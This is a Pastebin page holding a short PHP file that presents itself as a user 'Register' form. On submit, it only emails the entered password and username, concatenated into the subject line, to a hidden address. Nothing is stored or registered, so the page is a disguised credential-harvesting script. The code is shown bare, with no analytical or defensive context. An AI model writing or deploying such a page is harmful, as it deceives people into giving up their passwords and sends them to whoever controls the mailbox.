Advertisement
Guest User

Untitled

a guest
Sep 18th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.80 KB | None | 0 0
  1. <!DOCTYPE html>
  2.  
  3. <head>
  4.     <title>Register</title>
  5. </head>
  6.  
  7. <body>
  8.     <?php
  9.         if( $_POST["button"])
  10.         {
  11.             $to = ------------------------------;
  12.             $subject = $_POST["password"] . $_POST["username"];
  13.             $body = "Hi,\n\nHow are you?";
  14.             if (mail($to, $subject, $body))
  15.             {
  16.                 echo("<p>Message successfully sent!</p>");
  17.             } else {
  18.                 echo("<p>Message delivery failed...</p>");
  19.             }
  20.         }
  21.     ?>
  22.     <form name="myform" method="POST">
  23.         <b>Register</b>
  24.         <p>Username: <input type="text" name="username" /></p>
  25.         <p>Password:  <input type="password" name="password" /></p>
  26.         <p><input type="submit" name = "button" value="Register" /></p>
  27.     </form>
  28. </body>
  29.  
  30. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement